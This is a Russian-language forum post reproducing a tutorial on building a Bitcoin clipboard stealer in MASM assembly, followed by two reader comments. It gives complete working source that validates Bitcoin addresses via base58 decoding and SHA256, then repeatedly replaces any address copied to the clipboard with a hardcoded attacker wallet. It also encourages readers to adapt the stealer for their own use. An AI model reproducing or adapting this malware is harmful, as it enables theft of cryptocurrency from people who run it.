Интересный метод. Не факт, что он еще рабочий и неизвестно как дела обстоят со всеми кастомными кошельками.
Данная статья просто для ознакомления, чтобы узнать как вообще устроены стилеры. Дальше при желании можно дописать стилер под себя.
Пишем стилер биткоинов http://www.freemansperspective.com/wp-content/uploads/2013/06/btc-bitcoin.jpg Давным-давно для WebMoney (и не только) был популярен крайне простой способ получить чужие финансы: подменить содержимое буфера обмена Windows, если в нём находится номер кошелька на свой номер. С введением множества степеней защит данный метод перестали использовать, да и эффективность была под вопросом, не говоря уже о необходимости заставить пользователя запустить стороннее ПО, которое будет осуществлять подмену. Случай с Bitcoin отличается: подтверждения, по сути, отсутствуют, номера кошельков ещё более длинные, на конкретного пользователя не пожалуешься... В общем, давайте реализуем простой софт, который будет анализировать содержимое буфера обмена и подменять его, если обнаружит там корректный адрес Bitcoin кошелька. Писать будем на MASM, чтобы было веселее. Для начала необходимо понять, как проверять адрес кошелька на правильность. В этом нам помогут многочисленные веб-сайты, описывающие процесс создания Bitcoin-адреса, а также пример проверки, пусть даже и на PHP. С логикой проверки разобрались. Приступим к написанию реализации. Код: .386 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm include \masm32\macros\windows.asm uselib kernel32, user32, advapi32, masm32 .const ; Диапазон допустимой длины адреса кошелька wallet_len_min equ 27 wallet_len_max equ 34 ; Код версии адреса address_version equ 00h ; Набор символов, используемых в адресе ; Кроме: 0 O I l wallet_symbols db "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz", 0 ; Адрес, на который будет заменяться значение в буфере wallet_replace db "14GzzUaiNuDZYxhW8xd9emTJDtCjXKJkNT", 0 .data? prov dd ? Мы объявили некоторые вспомогательные константы, которые нам в дальнейшем понадобятся для проверки адрес на корректность. Из ссылок выше понятно, что нам придется делать функцию декодирования для base58 и где-то брать реализацию SHA256. base58 реализуем самостоятельно, а SHA256... в общем воспользуемся Microsoft CryptoAPI. Продолжим. Код: .code ; Вспомогательные функции ; Небольшая функция для логирования отладочной информации log_message proc msg:dword local buffer[256]:byte invoke GetLastError invoke wsprintf, addr buffer, chr$("%s [%08X]"), msg, eax invoke OutputDebugString, addr buffer ret log_message endp base58_decode proc uses ebx esi edi, in_buffer:dword, out_buffer:dword ; Будем опираться на констаны, свойственные для проверки кошелька ; Размер выходного буфера не менее 25 байт (расширенный RIPEMD-160 + 4 байта контрольной суммы)] ; Декодирование исключительно под адрес кошелька, ; для абстрактной строки в base58 функцию необходимо править ; Заполняем содержимое буфера нулями xor eax, eax mov ecx, 25 mov edi, out_buffer rep stosb mov esi, in_buffer mov edi, out_buffer m1: ; Нулл-байт во входном буфере - конец декодирования movzx eax, byte ptr[esi] test eax, eax je m5 ; Сохраним регистр на время сканирования символа в eax push esi ; Символ должен быть из набора wallet_symbols mov esi, offset wallet_symbols m2: movzx ebx, byte ptr[esi] ; Если байты совпадают, то символ входит в набор допустимых cmp eax, ebx jz m3 ; Если мы дошли до конца набора допустимых символов (нулл-байт) ; и все ещё не вышли из цикла, значит, символ не из набора test ebx, ebx je err0 ; Продолжаем проверку inc esi jmp m2 m3: ; Поместим в eax позицию найденого в наборе символа mov eax, esi mov esi, offset wallet_symbols sub eax, esi ; Вложенный цикл с конца выходного буфера mov ebx, 25 - 1 m4: ; N-й элемент буфера (с конца) умножим на 58 ; и прибавим к позиции упомянутой выше movzx ecx, byte ptr[edi + ebx] imul ecx, 58 add eax, ecx ; Сохраним в выходной буфер результат деления с остатком push ebx cdq mov ebx, 256 div ebx pop ebx mov byte ptr[edi + ebx], dl ; Поделим позицию элемента на 256 push ebx cdq mov ebx, 256 div ebx mov eax, edx pop ebx ; Конец тела вложенного цикла dec ebx test ebx, ebx jne m4 pop esi ; Если в eax что-то отличное от нулл-байта, ; значит, адрес кошелька имеет некорректный размер test eax, eax jne err1 inc esi jmp m1 m5: mov eax, 1 ret err0: pop esi invoke log_message, chr$("invalid symbol") mov eax, 0 ret err1: invoke log_message, chr$("invalid address length") mov eax, 0 ret base58_decode endp Теперь у нас есть функция декодирования и небольшая функция логирования. Для лучшего понимания алгоритма base58 стоит обратиться к Google, так как псевдокод или реализация на языке высокого уровня обычно проще для понимания. Перейдем к простой обертке над CryptoAPI, которая будет осуществлять вычисление необходимого хэша. Код: ; Инициализация нужного криптопровайдера sha256init proc invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, 0 .if eax == 0 invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, CRYPT_NEWKEYSET .endif ret sha256init endp sha256fini proc invoke CryptReleaseContext, prov, 0 ret sha256fini endp ; Хэширование SHA256 sha256 proc in_buffer:dword, in_buffer_length:dword, out_buffer:dword, out_buffer_length:dword local hash:dword local aux:dword ; CALG_SHA_256 - 0x0000800c invoke CryptCreateHash, prov, 0000800Ch, 0, 0, addr hash .if eax == 0 invoke log_message, chr$("CryptCreateHash") jmp err .endif invoke CryptHashData, hash, in_buffer, in_buffer_length, 0 .if eax == 0 invoke log_message, chr$("CryptHashData") jmp err .endif mov aux, sizeof dword invoke CryptGetHashParam, hash, HP_HASHSIZE, addr out_buffer_length, addr aux, 0 .if eax == 0 invoke log_message, chr$("CryptGetHashParam - HP_HASHSIZE") jmp err .endif invoke CryptGetHashParam, hash, HP_HASHVAL, out_buffer, addr out_buffer_length, 0 .if eax == 0 invoke log_message, chr$("CryptGetHashParam - HP_HASHVAL") jmp err .endif err: .if hash != 0 invoke CryptDestroyHash, hash .endif ret sha256 endp У нас есть всё, что нужно для счастья. Остается основная логика и немного работы с буфером обмена, но для этого мы воспользуемся готовыми функциями из библиотеки MASM. Код: ; Функция проверки адреса validate_wallet proc uses esi edi, buffer:dword local decoded[32]:byte local digest1[32]:byte local digest2[32]:byte invoke lstrlen, buffer .if eax < wallet_len_min || eax > wallet_len_max invoke log_message, chr$("wallet length error") jmp err .endif ; Декодируем адрес из base58 invoke base58_decode, buffer, addr decoded .if eax == 0 invoke log_message, chr$("base58_decode error") jmp err .endif ; Проверяем версию lea eax, decoded mov al, byte ptr[eax] .if al != address_version invoke log_message, chr$("address version error") jmp err .endif invoke sha256, addr decoded, 21, addr digest1, sizeof digest1 invoke sha256, addr digest1, sizeof digest1, addr digest2, sizeof digest2 ; Сравним декодированную и посчитанную контрольные суммы lea esi, decoded add esi, 21 lea edi, digest2 mov ecx, 4 repz cmpsb jnz err mov eax, 1 ret err: mov eax, 0 ret validate_wallet endp start proc local clipboard_data:dword invoke sha256init .if eax == 0 invoke log_message, chr$("sha256init") jmp err .endif .while TRUE invoke GetClipboardText .if eax != 0 mov clipboard_data, eax ; Проверим содержимое буфера обмена и заменим, ; если это адрес Bitcoin кошелька invoke validate_wallet, clipboard_data .if eax != 0 invoke log_message, chr$("valid wallet detected") invoke SetClipboardTextEx, offset wallet_replace .endif invoke GlobalFree, clipboard_data .endif invoke Sleep, 500 .endw err: invoke sha256fini invoke ExitProcess, 0 ret start endp end start Вот собственно и всё. Обращу внимание на один момент: функция SetClipboardTextEx не относится к библиотеке masmlib. Что она из себя представляет? Это функция SetClipboardText из masmlib, но после вызова Код: invoke OpenClipboard,NULL ; open clipboard я добавил ещё Код: invoke EmptyClipboard ; clear clipboard Без этого функция упорно не хотела изменять содержимое буфера обмена, по крайней мере на Windows 7. Не знаю, с чем это связано, не разбирался. Теперь всё готово. Компилируем и проверяем, также можно параллельно открыть DebugView и смотреть, какие отладочные сообщения выводит программа. Опытным путём несложно убедиться, что при копировании корректного адреса через буфер обмена он заменяется на наш. Авторы статьи: (с) kaimi
Добрый день, заинтересовала идея если можно получить Вашу консультацию по Жабе /cdn-cgi/l/email-protection#81e3f4e6e0e6e0c1e4f9f1edeee8f5afe8ec к Вам не могу достучаться
Установил masm32 и в macros нет windows.asm , подскажите этот файл должен быть при установке masm32 или вы его где-то отдельно взяли?